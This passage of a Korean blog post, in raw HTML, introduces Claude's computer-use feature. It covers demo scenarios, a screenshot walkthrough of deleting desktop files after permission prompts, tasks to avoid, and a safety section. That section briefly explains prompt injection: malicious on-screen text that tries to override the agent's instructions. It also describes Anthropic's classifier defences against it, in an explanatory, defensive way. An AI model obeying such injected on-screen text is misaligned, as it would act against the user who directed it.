&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;내 Downloads 폴더에 있는 파일들을 이미지&amp;middot;문서&amp;middot;영상&amp;middot;기타 폴더로 분류해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;Finder 열기 &amp;rarr; 파일 확장자 파악 &amp;rarr; 폴더 생성 &amp;rarr; 분류 이동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;어느 Mac에나 Downloads가 있음. 전후 비교 스크린샷 찍기 쉬움&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(커뮤니티 공통 시나리오)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;반려동물 사진 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;(고양이 사진 첨부) 이 고양이가 우리 냥이야. '사진' 폴더에서 이 고양이 사진만 골라서 'Kitty' 폴더로 옮겨줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;레퍼런스 이미지 학습 &amp;rarr; 폴더 탐색 &amp;rarr; 시각 매칭 &amp;rarr; 분류 이동&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;100% 정확도 사례 보고됨. 결과가 시각적으로 명확해서 영상으로 담기 좋음&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: aiblewmymind.substack.com &amp;mdash; 10개 시나리오 실험)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;쇼핑 리서치 자동화&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;네이버 쇼핑에서 '무선 키보드' 10만원 이하로 검색해서 평점 높은 상위 5개 제품 이름&amp;middot;가격&amp;middot;평점을 표로 정리해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;브라우저 열기 &amp;rarr; 검색 &amp;rarr; 스크롤/탐색 &amp;rarr; 데이터 수집 &amp;rarr; 표 작성&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;내가 직접 하면 10분 걸리는 걸 지켜보는 재미. 완성된 표 스크린샷이 결과물&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(Substack 랭킹 스크레이핑 사례 응용, 출처: Artificial Corner)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;웹 정보 수집 체인&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&quot;Hacker News 첫 페이지에서 댓글 100개 이상인 글 3개를 찾아서 제목과 링크를 메모 앱에 정리해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;브라우저 &amp;rarr; Hacker News 열기 &amp;rarr; 댓글 수 확인 &amp;rarr; 메모 앱 전환 &amp;rarr; 입력&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;앱 간 전환을 실시간으로 볼 수 있어 라이브 데모에 적합. 결과 1~2분 내 도출&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Glama.ai &amp;mdash; HN + Google 체인 사례 응용)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px; font-weight: 600;&quot;&gt;Dispatch: 폰에서 지시, Mac이 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;(폰 Claude 앱에서) &quot;바탕화면의 발표자료.pptx를 PDF로 변환해서 오늘 오후 3시 캘린더 일정에 첨부해줘&quot;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;파일 찾기 &amp;rarr; 앱 열기 &amp;rarr; PDF 내보내기 &amp;rarr; 캘린더 앱 &amp;rarr; 일정 찾기 &amp;rarr; 파일 첨부&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;폰으로 지시 &amp;rarr; Mac으로 돌아오면 완료. Anthropic 공식 출시 데모와 동일한 시나리오&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #888;&quot;&gt;(출처: Anthropic 공식 블로그, CNBC 보도)&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #4a90d9; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;직접 시연 팁&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Mac의 &lt;b&gt;QuickTime Player&lt;/b&gt;로 화면 녹화를 시작한 뒤 Claude에게 지시하면 된다. 처음엔 앱 접근 권한 허용 팝업이 뜨는데, 이것도 영상의 일부로 담으면 'Permission-First' 구조를 자연스럽게 설명할 수 있다. 작업 속도는 기대보다 느릴 수 있으니 &lt;b&gt;간단한 작업부터&lt;/b&gt; 시작하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 내 맥북 바탕화면에 불필요한 캡쳐 파일들을 정리 하는게 목적&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 핸드폰에서 요청&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1578&quot; data-origin-height=&quot;1972&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xd0PD/dJMcaaq9bj7/FwB6A38kSTLWrpHZQBori0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xd0PD/dJMcaaq9bj7/FwB6A38kSTLWrpHZQBori0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xd0PD/dJMcaaq9bj7/FwB6A38kSTLWrpHZQBori0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXd0PD%2FdJMcaaq9bj7%2FFwB6A38kSTLWrpHZQBori0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;287&quot; height=&quot;359&quot; data-origin-width=&quot;1578&quot; data-origin-height=&quot;1972&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 요청 직전의 맥북 화면과, 정리 목푶 이미지들&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3444&quot; data-origin-height=&quot;2172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c07CnH/dJMcabwNB3M/e5KldvV2vOgr72W26HTSo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c07CnH/dJMcabwNB3M/e5KldvV2vOgr72W26HTSo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c07CnH/dJMcabwNB3M/e5KldvV2vOgr72W26HTSo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc07CnH%2FdJMcabwNB3M%2Fe5KldvV2vOgr72W26HTSo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3444&quot; height=&quot;2172&quot; data-origin-width=&quot;3444&quot; data-origin-height=&quot;2172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 권한 요청이 뜬다 (폰, 맥북 모두 노출) &amp;gt; 권한 허용을 해주자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 휴대폰&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;1986&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diHh0i/dJMcad2pEJc/NEYiUUMdQeb8csOmnh1Tp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diHh0i/dJMcad2pEJc/NEYiUUMdQeb8csOmnh1Tp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diHh0i/dJMcad2pEJc/NEYiUUMdQeb8csOmnh1Tp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiHh0i%2FdJMcad2pEJc%2FNEYiUUMdQeb8csOmnh1Tp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;366&quot; height=&quot;806&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;1986&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ex) 맥북&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;2170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wr3yv/dJMcah4Sp3J/KsTfgHkqS4C47aPulbZDN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wr3yv/dJMcah4Sp3J/KsTfgHkqS4C47aPulbZDN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wr3yv/dJMcah4Sp3J/KsTfgHkqS4C47aPulbZDN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWr3yv%2FdJMcah4Sp3J%2FKsTfgHkqS4C47aPulbZDN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2092&quot; height=&quot;2170&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;2170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&amp;nbsp; cowork 재시작을 해주자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;910&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wa0CW/dJMcabwNCgy/ZybbD4X5LoIpl3TJJyzGIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wa0CW/dJMcabwNCgy/ZybbD4X5LoIpl3TJJyzGIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wa0CW/dJMcabwNCgy/ZybbD4X5LoIpl3TJJyzGIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwa0CW%2FdJMcabwNCgy%2FZybbD4X5LoIpl3TJJyzGIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;292&quot; height=&quot;333&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;910&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 삭제 라는 작업은 당연히 위험하니 권한 요청이 필요 할 것 이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;792&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vDARo/dJMb99MvfxY/cqmFDNLHCs9WyPzQHpkHa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vDARo/dJMb99MvfxY/cqmFDNLHCs9WyPzQHpkHa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vDARo/dJMb99MvfxY/cqmFDNLHCs9WyPzQHpkHa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvDARo%2FdJMb99MvfxY%2FcqmFDNLHCs9WyPzQHpkHa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;288&quot; height=&quot;257&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;792&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 처리 과정&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 크롬이 Browser를 처리할때처럼 주황 테두리로 감싸지며, Claude is using your computer 라는 문구가 노출된다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3438&quot; data-origin-height=&quot;2228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB5gbF/dJMcahw2PkK/JtSkKY8lCVGGx8pmXHFxz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB5gbF/dJMcahw2PkK/JtSkKY8lCVGGx8pmXHFxz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB5gbF/dJMcahw2PkK/JtSkKY8lCVGGx8pmXHFxz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB5gbF%2FdJMcahw2PkK%2FJtSkKY8lCVGGx8pmXHFxz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3438&quot; height=&quot;2228&quot; data-origin-width=&quot;3438&quot; data-origin-height=&quot;2228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 코워크를 화면에서 잠깐 치워두고, 모든 사진을 선택하는모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2308&quot; data-origin-height=&quot;1758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHt15e/dJMcadH7xci/OvRKU1SHlwIW65BCkS8HWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHt15e/dJMcadH7xci/OvRKU1SHlwIW65BCkS8HWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHt15e/dJMcadH7xci/OvRKU1SHlwIW65BCkS8HWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHt15e%2FdJMcadH7xci%2FOvRKU1SHlwIW65BCkS8HWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2308&quot; height=&quot;1758&quot; data-origin-width=&quot;2308&quot; data-origin-height=&quot;1758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 잘 삭제한 후 레포팅 해준다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHT0Ya/dJMcacJhocG/hKHmjcM8BAhEeI1lIm7B6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHT0Ya/dJMcacJhocG/hKHmjcM8BAhEeI1lIm7B6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHT0Ya/dJMcacJhocG/hKHmjcM8BAhEeI1lIm7B6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHT0Ya%2FdJMcacJhocG%2FhKHmjcM8BAhEeI1lIm7B6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2360&quot; height=&quot;1800&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvvbrk/dJMcaaq9bEC/3AafOXbTZkdkmw4sASImZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvvbrk/dJMcaaq9bEC/3AafOXbTZkdkmw4sASImZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvvbrk/dJMcaaq9bEC/3AafOXbTZkdkmw4sASImZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcvvbrk%2FdJMcaaq9bEC%2F3AafOXbTZkdkmw4sASImZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;444&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;적합한 작업 vs 아직 피해야 할 작업&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;적합한 작업&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;아직 피해야 할 작업&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;파일 정리, 이름 변경, 폴더 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;은행/결제 등 금융 거래&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;이메일/문서 요약 및 보고서 초안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;비밀번호, API 키 등 민감 정보 입력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;브라우저에서 정보 수집 및 리서치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;정밀한 드래그 앤 드롭이 필요한 디자인 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;IDE에서 코드 수정, 테스트, PR 제출&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;실시간 알림에 즉각 반응해야 하는 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;반복적인 데이터 입력/수집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;시간에 민감한 주식 거래 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;법률 문서 또는 계약서 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;의료&amp;middot;건강 정보 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;속도에 대한 기대치&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;커넥터를 통한 작업(Slack 메시지 전송 등)은 수 초 내에 완료되지만, 화면 제어 기반 작업은 스크린샷 캡처 &amp;rarr; 분석 &amp;rarr; 액션의 사이클을 반복하므로 &lt;b&gt;상대적으로 느리다&lt;/b&gt;. 공식적인 속도 수치는 발표되지 않았지만, API 대비 화면 제어가 느리다는 점은 Anthropic도 인정한 사항이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 안전성과 보안 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 안전성과 보안&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Permission-First 접근&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 Computer Use를 &lt;b&gt;Permission-First(허가 우선) 접근 방식&lt;/b&gt;으로 설계했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;앱별 승인:&lt;/b&gt; Claude가 새로운 앱에 접근하기 전에 반드시 사용자의 허가를 요청한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;즉시 중단:&lt;/b&gt; 사용자가 언제든지 Claude의 작업을 중단할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;접근 제한:&lt;/b&gt; 일부 앱은 안전상의 이유로 기본적으로 접근이 차단되어 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프롬프트 인젝션 방어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 인젝션&lt;/b&gt;은 Computer Use에서 특히 중요한 보안 이슈다. Claude가 인터넷에 연결된 화면의 스크린샷을 해석하기 때문에, 악의적인 지시가 포함된 콘텐츠에 노출될 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 대응:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전용 분류기(Classifier) 배치:&lt;/b&gt; 화면에 표시된 악의적 텍스트가 Claude의 지시를 덮어쓰려 할 때를 감지하는 전용 분류기를 운용한다. Anthropic은 &quot;classifiers&quot;와 &quot;safeguards&quot;라는 용어를 공식적으로 사용하며, Computer Use 세션 중 이를 통해 악의적 사용을 탐지하고 방어한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;안전 장치 레이어:&lt;/b&gt; 분류기 외에도 다층적인 안전 장치를 적용하여 프롬프트 인젝션 시도를 차단한다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 리서치 프리뷰 주의사항&lt;/b&gt;&lt;br /&gt;
